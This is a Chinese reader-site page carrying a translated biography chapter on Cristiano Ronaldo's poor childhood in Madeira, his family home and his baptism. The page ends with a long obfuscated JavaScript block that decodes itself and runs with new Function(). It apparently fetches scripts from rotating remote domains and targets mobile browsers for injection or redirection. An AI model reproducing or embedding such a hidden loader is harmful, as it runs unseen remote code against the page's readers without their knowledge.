关灯
护眼
字体:

第一章 马德拉岛 一座平庸无奇的小岛(第4页)

章节目录保存书签

埃尔玛和乌戈早早辍学,开始务工。埃尔玛在一家酒店的餐厅当服务生,而乌戈则在一家铝制品公司打工,那时他们都还未满17岁。多洛蕾斯也改变了,她不再编制柳条筐,而是开始与汤勺打交道:她现在在丰沙尔某酒店的厨房里帮工。但是,他们仍然省吃俭用,把每一分钱都花在刀刃上。

家里的餐桌上总会有面包,每隔两周还能吃上冷盘,每个星期日都有肉吃。周中的菜单则是多洛蕾斯在轮休的几个小时里回家准备的一锅汤,搭上面包和黄油。鸡肉则是留到合家欢庆时吃的。无论如何,大家不再挨饿了。

他们从来不买衣服,而是低声下气地接过别人家送来的旧衣服。等阿韦罗家的孩子们都长大了,旧衣服都穿不了了,他们就会找亲戚家的孩子借衬衫、裤子甚至是内衣穿。

终于,一家人搬去了法尔考村,这个小村子紧邻圣安东尼奥公墓,村里建了社会福利住房,供那些原本住在棚屋的穷人居住,和时常有游客光顾的地区隔得很远。

和以前的房子相比,这里的情况大有改善,只不过屋顶是用石棉做的。石棉的屋顶经常漏雨,这意味着多洛蕾斯不得不找当地的议会要些材料来给它们加固。墙壁是用没有上漆的砖头和厚木板砌成的。

“我们有三间房:一间是我和姐姐的,一间是乌戈和克里斯蒂亚诺的,一间是我父母的。”凯蒂娅在一次电视采访中解释道,“那是一个非常简陋的家,但在我的记忆里,它很舒适,我们在那儿过得很快乐。”

在这个典型的贫困村庄,酒精和毒品随处可见,孩子们在大街上生活和玩耍,而街道就是每户人家的游乐场。不过,并没有人把这看作是一种束缚——如果所有人都身在同样的处境,那就没有什么束缚可言了。

“那幢房子已经不在了,”凯蒂娅说道,“走到那附近,我总是会兴奋得起鸡皮疙瘩,很想再回去住一天。我知道那是不可能的了,但我记得我们在那儿经历的点点滴滴……一言难尽。”

2008年,尽管罗纳尔多声名鹊起,那幢房子还是被拆除了。没有人想把它留给子孙后代。如今,那里成了一片野草丛生的空地。

今天的法尔考村也有了高层建筑,罗纳尔多还有不少叔叔阿姨住在这儿,他们的孩子都曾和他一起在大街上玩耍。克里斯蒂亚诺的奶奶菲洛梅诺·阿韦罗也住在这儿,直到去世。

人们不锁门、不敲门就可以随意出入街坊邻居的房子。从小到大,罗纳尔多都被众人包围着,一直以来他都是这样生活的;他在曼彻斯特和马德里的房子都设有专为亲朋好友准备的客房。

大门永远敞开。

* * *

有一张美妙的照片,记录了6岁时的罗纳尔多身穿里斯本竞技的球衣,跟随球队回到马德拉的场景。他去了法尔考村,并要求在他以前的家外面拍张照。他紧皱着眉头,但同时也流露出骄傲的神情。又一位在首都出人头地的马德拉移民,身后的一切成了虚影。

这是罗纳尔多在他第一个家的唯一一张照片。在这之前,从来没有人想过要拍一张照片。

* * *

法尔考村没有随意踢球而不打搅到别人的好地方。没有停车场,甚至连一块合适的荒地都没有。马里迪莫——岛上最重要的俱乐部之一——距离法尔考村只有10分钟的路程,但那附近的年轻人都只能在崎岖不平的街道上踢球,除非他们走两公里的路到海滩上去。

* * *

在罗纳尔多的洗礼仪式上,他的父亲整整迟到了半小时。迪尼斯年幼时也踢过球,后来他在规模不大的当地俱乐部安多里尼亚当上了装备管理员,他决定让球队的队长费尔南多·巴罗斯·索萨来当罗纳尔多的教父。他认为索萨是克里斯蒂亚诺的榜样,还是一名天生的领袖,而且得益于其成功的经商经历,看上去他也挺有钱,足以满足迪尼斯的需要。

洗礼仪式6点钟开始,但安多里尼亚队在4点钟的时候有一场比赛,显然,等比赛结束是来不及了。然而,迪尼斯并没有改变计划,他去了球场,没能及时赶上仪式。神父几乎冷静不下来了。其他的孩子已经洗礼完了,只剩下克里斯蒂亚诺,可他的爸爸却不在场!

如果您身边的人也和足球有关系,如果您的榜样是足球运动员,如果您的父亲也会厚着脸皮因为一场球赛而在您的洗礼仪式上迟到,那么从逻辑上讲,您也极有可能成为一名足球运动员。

* * *

克里斯蒂亚诺·罗纳尔多的纪录片《CR9:活在当下》中有这样的一幕:

罗纳尔多的声音响起:“我登上了世界的顶峰。现在,我想要永垂不朽。”随后,您会看到他身体前倾,对着屏幕展示出一张他婴儿时的证件照,同时用孩童的声音嘟囔着:“滴滴滴滴滴,克里斯蒂亚诺·罗纳尔多。”他假装抚摸着照片里的男婴,随后笑着走开了。罗纳尔多是个很爱笑的人。

罗纳尔多:“这是我哦!我3个月大啦!快看,快看那个男孩!多可爱啊!我手上还戴着一条金色手链呢。”

接着,他摆出了一个滑稽的姿势,很显然是在自嘲,但是也并没有因为看到自己的照片而感到不自在。与此同时,罗纳尔多的姐姐凯蒂娅正抱着她的儿子。罗纳尔多问她:“他和我长得像吗?”镜头再次对焦到幼年罗纳尔多的照片上,小小的罗纳尔多睁着一双机灵的大眼睛。他没有盯着照相机,而是在看别处,或许当时有人在对他说话。

罗纳尔多:“他会和他叔叔一样,成为一名足球运动员。”

凯蒂娅怀中的孩子开始大哭,克里斯蒂亚诺则安抚着他的姐姐。罗纳尔多:“我小时候也这样,别担心啦。”

* * *

从前,凯蒂娅常常带克里斯蒂亚诺上学,放学了就等他一起回家。她常常帮他做家庭作业。毕竟玛丽亚·多洛蕾斯没有办法事事躬亲,于是凯蒂娅很快学会了照料她的弟弟。“但是他不怎么听我的话(笑),真的,”她回忆道,“我以前老是被他惹生气。我妈妈常说:‘凯蒂娅,你在家的时候,可别让克里斯蒂亚诺溜出去踢球了,要等他做完功课才可以。’我们家有前门和后门。我会对罗纳尔多说(在家里我们都叫他‘罗纳尔多’,不会叫‘克里斯蒂亚诺’):‘罗纳尔多,快做作业。’‘好的。’他总是答应得好好的。我再叫他时,他就不见踪影了。等到妈妈下班回家,她就会冲我发脾气。”

“他是个叛逆的孩子,但是他也知道什么时候该听话。如果你吸引了他的注意,他就会留意你说过的话,他还是蛮乖的。”他的母亲如是说道。

“每到学期末,只要我们有娱乐活动,不论是演话剧、跳舞还是唱歌,他都会积极参与。”丰沙尔圣若昂学校的小学教师格拉萨修女回忆。罗纳尔多经常要求担任主角。“但是他特别懒,总是忘记做家务事。”“我记得她有时会揪我耳朵,打我手心。”克里斯蒂亚诺用玩笑的口吻说。“我是个好孩子,从小受爸爸妈妈和哥哥姐姐的管教。我觉得我非常刻苦,好吧,反正我是这么觉得的……(笑)”

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();